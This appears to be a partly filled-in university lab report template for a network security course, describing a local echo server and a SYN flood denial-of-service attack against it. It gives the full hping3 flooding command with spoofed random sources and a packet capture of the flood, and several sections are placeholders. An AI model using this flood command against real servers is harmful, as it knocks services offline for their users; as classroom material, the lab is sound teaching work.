EE379K Enterprise Network Security Lab 1 Report

Student: Brian Cheung bc32427
Professor: Mohit Tiwari
TA: Antonio Espinoza
Department of Electrical & Computer Engineering
The University of Texas at Austin

September 9, 2019

1 Part 1

part 1 paragraph

1.1 Step 1 - Echo Server

1.1.1 Build server and client

In a terminal window, start at root directory of project and run the following commands:

```
$ cd Part\ 1
$ make
```

1.1.2 Run server and client

Run the following commands to start the server:

```
$ cd Part\ 1
$ ./server
```

Open a new terminal window and run the following commands to start the client:

```
$ cd Part\ 1
$ ./client
```

1.2 Step 2 - DOS Attack

The DOS attack was performed using a program called ***hping3***. The attacker flooded the server with SYN packets while using a spoofed IP address to hide the source IP address. Without the correct IP, the server was unable to send SYN and ACK packets back to the attacker, which prevented the three-way handshake from being completed. This prevents the server from processing other clients' requests because it is too busy trying to complete the attacker's requests, so clients that want to connect to the server are left waiting.

The following command was used to perform the DOS attack:

```
$ sudo hping3 -S -w 64 -p 12000 --flood --rand-source 127.0.0.2
```

hping3 command flags and options:

-S: flood with SYN packets

-p: 12000: port 12000

–**flood**: send packets as fast as possible

–**rand-source**: generates a spoofed IP address to hide the source IP

127.0.0.2: IP address of server

The recorded pcap of the attack (shown in Figure 1) shows the flood of SYN packets sent to the server. Example reference to paper [1].

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	213.87.19.115	127.0.0.2	TCP	56	29763 → 12000 [SYN] Seq=0 Win=64 Len=0
2	0.000003	238.72.84.221	127.0.0.2	TCP	56	29764 → 12000 [SYN] Seq=0 Win=64 Len=0
3	0.000006	61.70.76.8	127.0.0.2	TCP	56	29765 → 12000 [SYN] Seq=0 Win=64 Len=0
4	0.000009	246.175.41.83	127.0.0.2	TCP	56	29766 → 12000 [SYN] Seq=0 Win=64 Len=0
5	0.000012	74.91.25.70	127.0.0.2	TCP	56	29767 → 12000 [SYN] Seq=0 Win=64 Len=0
6	0.000015	104.242.151.227	127.0.0.2	TCP	56	29768 → 12000 [SYN] Seq=0 Win=64 Len=0
7	0.000017	156.128.29.7	127.0.0.2	TCP	56	29769 → 12000 [SYN] Seq=0 Win=64 Len=0
8	0.000020	5.162.38.99	127.0.0.2	TCP	56	29770 → 12000 [SYN] Seq=0 Win=64 Len=0
9	0.000024	76.89.31.83	127.0.0.2	TCP	56	29771 → 12000 [SYN] Seq=0 Win=64 Len=0
10	0.000026	212.102.194.59	127.0.0.2	TCP	56	29772 → 12000 [SYN] Seq=0 Win=64 Len=0
11	0.000029	139.211.50.189	127.0.0.2	TCP	56	29773 → 12000 [SYN] Seq=0 Win=64 Len=0
12	0.000032	100.108.151.111	127.0.0.2	TCP	56	29774 → 12000 [SYN] Seq=0 Win=64 Len=0
13	0.000035	59.72.81.246	127.0.0.2	TCP	56	29775 → 12000 [SYN] Seq=0 Win=64 Len=0
14	0.000038	91.87.175.34	127.0.0.2	TCP	56	29776 → 12000 [SYN] Seq=0 Win=64 Len=0
15	0.000040	70.92.12.140	127.0.0.2	TCP	56	29777 → 12000 [SYN] Seq=0 Win=64 Len=0
16	0.000043	160.111.203.182	127.0.0.2	TCP	56	29778 → 12000 [SYN] Seq=0 Win=64 Len=0
17	0.000046	210.17.255.83	127.0.0.2	TCP	56	29779 → 12000 [SYN] Seq=0 Win=64 Len=0
18	0.000049	203.70.88.160	127.0.0.2	TCP	56	29780 → 12000 [SYN] Seq=0 Win=64 Len=0
19	0.000051	68.81.162.7	127.0.0.2	TCP	56	29781 → 12000 [SYN] Seq=0 Win=64 Len=0
20	0.000054	115.183.143.171	127.0.0.2	TCP	56	29782 → 12000 [SYN] Seq=0 Win=64 Len=0
21	0.000057	220.156.50.134	127.0.0.2	TCP	56	29783 → 12000 [SYN] Seq=0 Win=64 Len=0
22	0.000060	209.214.83.237	127.0.0.2	TCP	56	29784 → 12000 [SYN] Seq=0 Win=64 Len=0
23	0.000063	142.216.17.152	127.0.0.2	TCP	56	29785 → 12000 [SYN] Seq=0 Win=64 Len=0
24	0.000065	39.246.221.202	127.0.0.2	TCP	56	29786 → 12000 [SYN] Seq=0 Win=64 Len=0
25	0.000068	146.30.50.83	127.0.0.2	TCP	56	29787 → 12000 [SYN] Seq=0 Win=64 Len=0

Figure 1: A screenshot of the pcap in Wireshark during a DOS attack

2 Part 2

part 2 paragraph

3 Part 3

part 3 paragraph

```
int main() {
  printf("Hello World");
  return 0;
}
```

4 Part 4

5 Conclusion

Please provide feedback so we can improve the labs for the course. How many hours did the lab take you? Was this lab boring? Did you learn anything? Is there anything you would change? Feel free to put anything here, but leaving it blank will result in the loss of points.

References

[1] F. Brasser, U. Müller, A. Dmitrienko, K. Kostiainen, S. Capkun, and A.-R. Sadeghi, "Software grand exposure: SGX cache attacks are practical," in *11th USENIX Workshop on Offensive Technologies (WOOT 17)*, (Vancouver, BC), USENIX Association, 2017.